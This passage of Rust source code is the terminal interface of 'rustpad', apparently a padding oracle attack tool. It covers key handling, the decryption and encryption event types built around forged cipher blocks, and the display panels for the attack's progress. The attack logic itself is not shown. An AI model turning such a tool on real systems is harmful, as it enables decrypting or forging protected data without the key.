| if char_key == 'c' && pressed_key.modifiers == KeyModifiers::CONTROL { 409 | self.exit(); 410 | } 411 | } 412 | KeyCode::PageUp => { 413 | self.ui_state 414 | .log_view_state 415 | .lock() 416 | .unwrap() 417 | .transition(&TuiWidgetEvent::PrevPageKey); 418 | } 419 | KeyCode::PageDown => { 420 | self.ui_state 421 | .log_view_state 422 | .lock() 423 | .unwrap() 424 | .transition(&TuiWidgetEvent::NextPageKey); 425 | } 426 | KeyCode::Up => { 427 | let mut state = self.ui_state.blocks_view_state.lock().unwrap(); 428 | let new_selection = state 429 | .selected() 430 | // prevent underflow which would wrap around and become more than 0 431 | .map(|idx| if idx == 0 { 0 } else { max(idx - 1, 0) }) 432 | .unwrap_or_default(); 433 | state.select(Some(new_selection)); 434 | } 435 | KeyCode::Down => { 436 | let mut state = self.ui_state.blocks_view_state.lock().unwrap(); 437 | let new_selection = state 438 | .selected() 439 | .map(|idx| { 440 | min( 441 | idx + 1, 442 | self.app_state.cypher_text_blocks.lock().unwrap().len() - 1, 443 | ) 444 | }) 445 | .unwrap_or(1); 446 | state.select(Some(new_selection)); 447 | } 448 | _ => {} 449 | }; 450 | } 451 | Event::Resize(cols, rows) => { 452 | self.cols.store(cols, Ordering::Relaxed); 453 | self.rows.store(rows, Ordering::Relaxed); 454 | self.ui_state.redraw.store(true, Ordering::Relaxed); 455 | } 456 | Event::Mouse(_) => {} 457 | }; 458 | } 459 | } 460 | -------------------------------------------------------------------------------- /src/tui/ui_event.rs: -------------------------------------------------------------------------------- 1 | use crate::block::Block; 2 | 3 | #[derive(Debug)] 4 | pub(crate) enum UiEvent { 5 | Decryption(UiDecryptionEvent), 6 | Encryption(UiEncryptionEvent), 7 | Control(UiControlEvent), 8 | } 9 | 10 | #[derive(Debug)] 11 | pub(crate) enum UiDecryptionEvent { 12 | // original_cypher_text_blocks 13 | InitDecryption(Vec<Block>), 14 | // (forged_block, cypher_text_block_idx) 15 | BlockSolved(Block, usize), 16 | // for WIP updates, doesn't block on mutex 17 | // (forged_block, cypher_text_block_idx) 18 | BlockWip(Block, usize), 19 | } 20 | 21 | #[derive(Debug)] 22 | pub(crate) enum UiEncryptionEvent { 23 | // (plain_text_blocks, init_cypher_text) 24 | InitEncryption(Vec<Block>, Block), 25 | // (forged_block, cypher_text_block_idx) 26 | BlockSolved(Block, usize), 27 | // for WIP updates, doesn't block on mutex 28 | // (forged_block, cypher_text_block_idx) 29 | BlockWip(Block, usize), 30 | } 31 | 32 | #[derive(Debug)] 33 | pub(crate) enum UiControlEvent { 34 | IndicateWork(usize), 35 | ProgressUpdate(usize), // inform UI that x bytes are solved 36 | PrintAfterExit(String), 37 | ExitCode(i32), 38 | /// The application is done. Basically indicates that the program should stop running, without actually quitting. This keeps the UI open for users to read the output, while also decreasing the amount of draw calls. 39 | SlowRedraw, 40 | } 41 | -------------------------------------------------------------------------------- /src/tui/widgets.rs: -------------------------------------------------------------------------------- 1 | use std::{cmp::min, sync::atomic::Ordering}; 2 | 3 | use getset::Getters; 4 | use tui::{ 5 | layout::Constraint, 6 | style::{Color, Modifier, Style}, 7 | text::Span, 8 | widgets::{Block, Borders, Gauge, Row, Table}, 9 | }; 10 | use tui_logger::TuiLoggerWidget; 11 | 12 | use super::{AppState, UiState}; 13 | 14 | #[derive(Getters)] 15 | pub(super) struct Widgets { 16 | pub(super) outer_border: Block<'static>, 17 | 18 | // logic panel 19 | pub(super) original_cypher_text_view: Table<'static>, 20 | pub(super) forged_block_view: Table<'static>, 21 | pub(super) intermediate_block_view: Table<'static>, 22 | pub(super) plain_text_view: Table<'static>, 23 | 24 | // status panel 25 | pub(super) status_panel_border: Block<'static>, 26 | pub(super) progress_bar: Gauge<'static>, 27 | pub(super) logs_view: TuiLoggerWidget<'static>, 28 | } 29 | 30 | impl Widgets { 31 | pub(super) fn build(app_state: &AppState, ui_state: &UiState) -> Widgets { 32 | let title_style = Style::default().fg(Color::Cyan); 33 | 34 | Widgets { 35 | outer_border: build_outer_border(title_style), 36 | 37 | original_cypher_text_view: build_original_cypher_text_view( 38 | title_style, 39 | app_state 40 | .cypher_text_blocks 41 | .lock() 42 | .unwrap() 43 | .iter() 44 | .map(|block| Row::new([block.to_hex()])) 45 | .collect(), 46 | ), 47 | forged_block_view: build_forged_block_view( 48 | title_style, 49 | app_state 50 | .forged_blocks 51 | .lock() 52 | .unwrap() 53 | .iter() 54 | .map(|block| Row::new([block.to_hex()])) 55 | .collect(), 56 | ), 57 | intermediate_block_view: build_intermediate_view( 58 | title_style, 59 | app_state 60 | .intermediate_blocks 61 | .lock() 62 | .unwrap() 63 | .iter() 64 | .map(|block| Row::new([block.to_hex()])) 65 | .collect(), 66 | ), 67 | plain_text_view: build_plain_text_view( 68 | title_style, 69 | app_state 70 | .plain_text_blocks 71 | .lock() 72 | .unwrap() 73 | .iter() 74 | .map(|block| Row::new([block.to_hex(), block.to_ascii()])) 75 | .collect(), 76 | ), 77 | 78 | status_panel_border: build_status_panel_border(title_style), 79 | progress_bar: build_progress_bar(min( 80 | ((app_state.bytes_finished.load(Ordering::Relaxed) as f32 81 | / app_state.bytes_to_finish.load(Ordering::Relaxed) as f32) 82 | * 100.0) as u8, 83 | 100, 84 | )), 85 | logs_view: { 86 | let mut log_view = build_log_view(title_style); 87 | log_view.state(&ui_state.log_view_state.lock().unwrap()); 88 | log_view 89 | }, 90 | } 91 | } 92 | } 93 | 94 | fn build_outer_border(title_style: Style) -> Block<'static> { 95 | Block::default() 96 | .title(Span::styled("rustpad", title_style)) 97 | .borders(Borders::NONE) 98 | } 99 | 100 | fn build_original_cypher_text_view(title_style: Style, rows: Vec<Row>) -> Table { 101 | let title = Span::styled("Cypher text ", title_style); 102 | let key_indicator = Span::styled("[🠕/🠗]", Style::default().add_modifier(Modifier::DIM)); 103 | 104 | Table::new(rows) 105 | .block( 106 | Block::default() 107 | .title(vec![title, key_indicator]) 108 | .borders(Borders::ALL), 109 | ) 110 | .widths(&[Constraint::Ratio(1, 1)]) 111 | } 112 | 113 | fn build_forged_block_view(title_style: Style, rows: Vec<Row>) -> Table { 114 | Table::new(rows) 115 | .block( 116 | Block::default() 117 | .title(Span::styled("Forged block", title_style)) 118 | .borders(Borders::ALL), 119 | ) 120 | .widths(&[Constraint::Ratio(1, 1)]) 121 | } 122 | 123 | fn build_intermediate_view(title_style: Style, rows: Vec<Row>) -> Table { 124 | Table::new(rows) 125 | .block( 126 | Block::default() 127 | .title(Span::styled("Intermediate block", title_style)) 128 | .borders(Borders::ALL), 129 | ) 130 | .widths(&[Constraint::Ratio(1, 1)]) 131 | } 132 | 133 | fn build_plain_text_view(title_style: Style, rows: Vec<Row>) -> Table { 134 | Table::new(rows) 135 | .block( 136 | Block::default() 137 | .title(Span::styled("Plain text", title_style)) 138 | .borders(Borders::ALL), 139 | ) 140 | .column_spacing(1) 141 | .widths(&[Constraint::Ratio(2, 3), Constraint::Ratio(1, 3)]) 142 | } 143 | 144 | fn build_status_panel_border(title_style: Style) -> Block<'static> { 145 | Block::default() 146 | .title(Span::styled("Status", title_style)) 147 | .borders(Borders::ALL) 148 | } 149 | 150 | fn build_progress_bar(progress: u8) -> Gauge<'static> { 151 | Gauge::default() 152 | .gauge_style(Style::default().fg(Color::LightCyan)) 153 | .percent(progress as u16) 154 | .label(Span::styled( 155 | format!("{}%", progress), 156 | Style::default().fg(Color::DarkGray), 157 | )) 158 | .use_unicode(true) 159 | } 160 | 161 | fn build_log_view(title_style: Style) -> TuiLoggerWidget<'static> { 162 | let title = Span::styled("Log ", title_style); 163 | let key_indicator = Span::styled("[PgUp/PgDwn]", Style::default().add_modifier(Modifier::DIM)); 164 | 165 | TuiLoggerWidget::default() 166 | .block( 167 | Block::default() 168 | .title(vec![title, key_indicator]) 169 | .borders(Borders::NONE), 170 | ) 171 | .style_error(Style::default().fg(Color::Red)) 172 | .style_warn(Style::default().fg(Color::Yellow)) 173 | .style_info(Style::default().fg(Color::LightBlue)) 174 | .style_debug(Style::default().fg(Color::LightGreen)) 175 | .style_trace(Style::default().fg(Color::White)) 176 | } 177 | --------------------------------------------------------------------------------